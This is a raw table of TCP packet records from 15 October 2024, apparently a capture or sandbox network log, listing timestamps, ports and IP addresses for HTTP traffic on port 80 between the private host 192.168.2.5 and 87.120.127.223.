Oct 15, 2024 19:22:37.220417023 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.220449924 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.220484018 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.220540047 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.220588923 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.220623016 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.220645905 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.220675945 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.220710039 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.220742941 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.220762014 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.220799923 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.223467112 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.223560095 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.223588943 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.223618031 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.223622084 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.223685980 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.230334997 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.255048037 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.255084991 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.255119085 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.255139112 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.263367891 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.263519049 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.263551950 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.263585091 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.263601065 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.263633013 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.287240028 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.287295103 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.287296057 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.287328959 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.287374973 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.330796957 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.330852985 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.330885887 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.330918074 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.330939054 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.330988884 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.331022978 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.331041098 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.331056118 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.331067085 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.331233025 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.331281900 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.331320047 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.334276915 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.334328890 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.334361076 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.334361076 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.334404945 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.334486961 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.334518909 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.334553003 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.334570885 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.337678909 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.337733030 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.337735891 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.337765932 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.337799072 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.337842941 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.337901115 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.337945938 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.338007927 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.338040113 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.338083029 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.338089943 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.338121891 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.338159084 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.338202953 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.339674950 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.339725018 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.339746952 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.339759111 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.339790106 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.339823008 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.339838982 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.339857101 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.339867115 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.339890957 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.339925051 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.339955091 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.340224981 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.340256929 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.340308905 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.340358019 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.340426922 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.340461016 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.340477943 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.340492964 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.340634108 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.340821028 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.340853930 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.340886116 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.340900898 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.344285011 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.344360113 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.344393969 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.344409943 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.344417095 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.344463110 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.376446009 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.376482010 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.376496077 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.376513004 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.376539946 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.383589983 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.383609056 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.383625984 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.383642912 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.383656979 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.383690119 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.409702063 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.409813881 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.409826994 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.409842014 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.409862995 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.409879923 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.456775904 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.456793070 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.456808090 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.456841946 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.456897020 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.456912041 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.456926107 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.456938982 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.456964970 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.457197905 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.457251072 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.457294941 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.460478067 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.460532904 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.460547924 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.460592031 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.460664988 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.460680008 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.460695982 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.460707903 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.460715055 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.460726976 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.460736990 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.460767984 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.463679075 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.463824034 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.463839054 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.463869095 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.463897943 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.463912010 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.463927031 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.463939905 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.463949919 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.463973045 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.463973045 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.463989019 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464010954 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.464031935 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.464077950 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464097977 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464112043 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464154959 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.464282036 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464294910 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464308977 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464322090 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.464323044 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464351892 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.464493036 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464508057 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464521885 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464530945 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.464550018 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464562893 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.464602947 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464618921 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464637995 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464657068 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.464663982 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464679003 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464693069 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.464720011 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.464742899 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.467112064 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.467170000 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.467185020 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.467227936 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.467267990 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.467413902 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.467462063 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.499836922 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.499861002 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.499877930 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.499970913 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.505203009 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.505270004 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.505275965 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.505290985 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.505342960 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.505419016 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.505458117 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.505614042 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.534271002 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.534296989 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.534311056 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.534356117 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.534382105 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.534425020 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.534456015 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.534470081 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.534765005 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.606580973 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.606852055 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.606867075 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.606883049 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.606898069 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.606904984 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.606909990 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.606929064 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.606945038 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.606945992 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.606960058 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.606987000 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.607063055 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.607078075 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.607091904 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.607105017 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.607209921 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.607227087 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.607242107 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.607251883 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.607256889 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.607271910 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.607271910 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.607290030 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.607306957 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.607333899 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.607781887 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.607815981 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.607831001 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.607858896 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.607907057 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.607922077 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.607952118 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.607990980 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608006001 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608020067 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608058929 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.608155966 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608176947 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608191967 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608206034 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608220100 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608220100 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.608234882 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608238935 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.608268976 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.608465910 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608505964 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.608536959 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608551025 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608566046 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608582020 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608592987 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.608630896 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.608841896 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608891964 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608894110 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.608906984 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608936071 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.608978033 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.609116077 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.618849039 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.618887901 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.618892908 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.618902922 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.619039059 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.622922897 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.622993946 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.623008966 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.623028994 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.623038054 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.623044968 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.623074055 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.623087883 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.623364925 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.653213024 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.653228998 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.653243065 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.653258085 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.653271914 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.653306007 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.653306007 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.698124886 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.698187113 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.698189020 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.698242903 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.698323011 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.698354959 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.698379040 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.698409081 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.702994108 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.703027964 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.703078985 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.703085899 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.703111887 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.703149080 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.703381062 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.703453064 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.703468084 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.703501940 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.703569889 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.703588009 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.703619957 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.703653097 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.703701973 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.707520008 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.707552910 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.707571983 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.707586050 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.707633972 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.726610899 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.726661921 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.726696968 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.726727962 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.726746082 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.726779938 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.726813078 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.726819992 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.726845980 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.726877928 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.726911068 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.726912975 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.726943970 CEST	49793	80	192.168.2.5	87.120.127.223
